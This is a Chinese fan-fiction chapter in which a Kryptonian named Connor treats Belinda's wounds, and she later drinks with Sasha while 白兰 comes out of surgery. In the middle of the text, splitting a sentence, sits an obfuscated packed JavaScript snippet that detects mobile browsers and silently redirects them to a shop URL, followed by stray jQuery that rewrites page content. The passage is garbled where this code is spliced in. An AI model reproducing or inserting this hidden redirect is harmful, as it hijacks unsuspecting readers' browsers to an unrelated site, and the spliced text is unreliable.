外星人的睫毛很长。
贝琳达觉得自己这实在算不上是窥探。男人坐在一张稍矮的椅子上,那件红蓝的紧身衣将他的身材衬得极好,他的肩膀很宽,但腰细且紧致,紧身衣让腹肌和胸肌若隐若现。
氪星人在地球健身会有成果吗,在黄太阳的照射下那些被甩掉的脂肪是不是会重新长出来。
贝琳达满腹只有好奇。
那难道这样的身材从出生开始就是这样吗。
她盯着他有些脏兮兮的脸颊。
“发现我长得很漂亮了?”康纳柔着声音,最后半截纱布裹好了贝琳达已经没法看的右手,伤口开始有发炎的迹象了,他不在她身边用ttk控制的时候果然这伤还是在恶化。
看来和他想的差不多,应该只是增加了骨密度和强化了肌肉,再加上特别的治愈方式,这大概就是贝琳达·杰索所接受的改造。
贝琳达低低地笑了,她“嗯”了一声,“你特别漂亮。”
“我知道。”氪星人小小地骄傲了一下,抬眼去看贝琳达,他系上了最后一个结,浓密的睫毛扑扇着,青蓝的眼睛如湖泊一样清澈。这张脸挑不出错,这双眼睛亦是。
贝琳达被逗地开怀,等到笑意稍微静下来,她道:“谢谢。”
“别客气,我们不是朋友吗?”康纳的左眼眨了眨。
贝琳达哈哈地笑,点头道:“当然。”
“好了,让我看看你背上的伤口。”康纳举起了一把剪刀,收敛了脸上的轻浮,一脸认真地说道:“那个伤口可不简单。”
用ttk费了很大的力气才让铁锈从伤口离开,他猜测是被铁钉之类的东西扎进了皮肉,好在没有伤到什么要害。
贝琳达“嗯”了一声,乖乖转过了身。
她需要一个人帮她处理伤口。
身上的这件背心原先是能塞进裤腰的长度,经历了一系列的爆炸和各种“灾难”之后像是件露腰的背心,她伸手扯了扯半截还塞在裤腰的衣料,思考着下次是不是应该特意买一身结实点的布料,比如肯特身上那种,又是核爆炸又是什么的,一点破损都没有。
剪刀剪开了一小段,她后背靠近腰的位置。肯特帮助控制痛觉的残留效果开始消散,她逐渐开始能察觉到伤口的疼痛。
“现在能感觉到疼吗?”康纳问。
“可以。”贝琳达回答。
“好。”康纳的声音听上去认真,“处理结束之后再帮你克制痛觉,现在需要你能感觉到疼。”
处理伤口需要她感觉疼吗?贝琳达不记得外伤处理的必要条件有这么一条。
下一秒一阵刺骨的寒风吹在了她的伤口处。
“冷。”贝琳达淡淡地开口,即便是被吓了一跳依旧用一种平淡的语气说道。
“我帮你治好它。”康纳回答道。
冰冷过后是麻木,之后她感觉到康纳的手指贴着伤口的位置,不知道做了些什么,生理盐水冲洗过后伤口被撕扯着牵到了一起,最后一阵灼热,没有烧疼,但是她闻到了烤肉的气味。
“好了。”康纳舒了口气,“好久没有做这么精细的「手术」了,也就是这伤口小。”他的声音听上去某种意义上非常像是在撒娇,贝琳达刚想说些什么,下一秒察觉到被剪开的衣物正以一种极为扭曲的姿态恢复。
想也知道绝不会好看,她伸手摸到了被缠的乱七八糟的线头。
“……我说,你缝伤口不会也是这种技术吧。”贝琳达侧过头,调侃。
“当然不会!”康纳气鼓鼓地别过脸。
他很有趣,在不是那么重大的事件面前好像一个幼稚的孩子,但是事情变得可怕或是严重起来的时候他好像又找到了自己成熟的那一面,和他待在一起心情不自觉地变好。
贝琳达又笑了,伸手捏了捏他的脸。
康纳转回了一点脑袋:“我脸上脏吗?”
“什么?”她一顿,“还好……”
有点违心了,这张脸虽然漂亮但现在看上去还是灰扑扑的。
“那轮到你帮我了。”他把脸颊凑到了贝琳达的面前,非常幼稚地闭上了眼睛。
他们的膝盖抵在一起,贝琳达暂无痛觉。
左手拿了一张纸正打算放在膝盖上倒一点生理盐水为康纳擦拭脸颊,可垂眸看见的是自己膝盖上的血迹……白兰。她的心脏蓦地一顿,稍微好转的心情变得沉重。
手顿了顿,但还是沉默着擦拭着氪星人脏兮兮的脸颊。
这张脸没有受伤,细腻白皙的皮肤,碧眼红唇。
她垂下了手臂,目光就落在紧闭的手术室内。
-
“嘿,你们两个人,这还有别人呢。”萨沙似乎调侃地出声,她依然坐在阿丽克西斯的病床上,男人正沉睡,和旁边刚刚治疗完的小汉森一样闭着眼睛。
萨沙手里拎着一瓶伏特加,看上去却清醒。
“萨沙。”贝琳达转过了身,盘着腿坐在病床上。
她的这张病床是最靠近医生那张桌子的病床,多数情况下都是问诊或治疗的时候用的,因此更像是一张椅子。萨沙和她隔了一张空病床,她举起手里的伏特加:「敬你,也敬你的人。」说着俄语,朝着康纳也点了点头,随后饮了一大口酒。
『不给我们来一点吗。』贝琳达挑眉,也用俄语回应。
「当然,当然,亲爱的。」萨沙站起身,环顾了半圈,拿起了两个之前装过布丁的一次性塑料杯,就着手里的伏特加涮了涮,她一个健步翻过了那张空床,坐在了贝琳达的面前。
稳稳地为他们倒上酒。
『谢谢。』贝琳达举起“酒杯”。
一旁的康纳只是笑着,自如地跟着她们一同饮下烈酒。
「你的故乡是俄|罗|斯哪里?」萨沙蓦地开口。
『我在美|国长大』贝琳达把玩着果冻塑料杯,她已经很久没有和别人说过俄语,从她踏上旅途开始。她继续说道:『你知道的,芭蕾舞,杀手,□□,balabala……』
萨沙点了点头,她这样问了,但没指望贝琳达能跟自己说什么,更不指望对方能说什么实话。可眼前的女人看上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193751|197110||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去并不在意说实话,甚至连杀手这两个字也轻轻松松就说出了口。
「你是杀手,你能告诉我这些吗?」萨沙又为她倒上酒。
她们聊着天,像是忽略了贝琳达身后还有一个康纳,而康纳也不出声,只是坐着,不知他能不能听懂。
贝琳达嗤笑一声,她的目光是清明的,用英语道:“说了又怎样呢,都不是一个世界。”
「一个世界?」萨沙依旧用俄语疑惑。
『是。』贝琳达一顿,『我的家乡……我或许回不去了,杀手也只是过去,灾难和悲伤也只是停留在过去,实际上,我的每一天都是新的一天。』
看不出她的表情是喜悦还是悲伤,听上去很平静。
「你怀念你的家吗,亲爱的。」萨沙难得语气柔软了下来。
『或许,但也或许恨透了。』贝琳达笑了笑,『听上去很可怕吧。』
萨沙摇头:“不,当然不。”
萨沙很认真,她继续说道:“怎么会呢,冷酷严苛的训练,累到麻痹的身体,压抑的情绪。”
她又饮一口酒:“让我们敬崭新的明天。”
-
真正手术的时间不长,这个世界的医疗水平不知如何,但能够承担PPDC的医疗点,医生的水平应该远高于这个世界的平均水平。她也不指望是顶尖的技术,只希望稍高一些。
萨沙拿出第三瓶伏特加前白兰被推出了手术室。
医生拖着疲惫的身体大声地骂了几句在她的医疗点喝酒的人,最后搀着萨沙让她躺在那张空病床上。
贝琳达晕晕乎乎的,她的酒量很好,但也醉的七荤八素了,安静地看着医生,等到数落声结束之后,一脸平静地问:“他还好吗?”
“没事了,麻醉醒来就好了。”医生吐了一口浊气回答道。
“白兰还好吗?”贝琳达依旧是那种平静的语气。
“我说没事了。”医生重复。
贝琳达仰起头,看着站在自己面前的医生:“他没事吧?”
医生终于意识到了面前这个人不对劲,她蹙眉盯着贝琳达那张看上去正常的脸,然后看向了一边的康纳:“她喝了多少?”
“一瓶不到。”康纳回答道。
“你不知道拦着点吗,这不喝死?”医生连忙想要伸手去探贝琳达的额头,康纳眼疾手快一把抓住了医生的手拉着人就往天上飞。
“怎……”医生话音未落,只见贝琳达一个漂亮的擒拿对着刚才医生站着的位置。
医生僵硬地侧过脸去看康纳。
“是啊,她现在完全是防御模式,先这样吧,我看过了,只是醉了没什么大事。”康纳笑了笑,将医生带回了地面。
他脸上丝毫竟然喜悦大于烦恼。
医生觉得自己无法理解外星人还是改造人的,随便什么人吧,反正不是正常人。
她头痛地揉了揉自己的额角,安定下了白兰的病床,嘱咐助手顶一下,她打开了一扇铁门,“我先歇会,都清醒了再叫我。”
助手应“是”。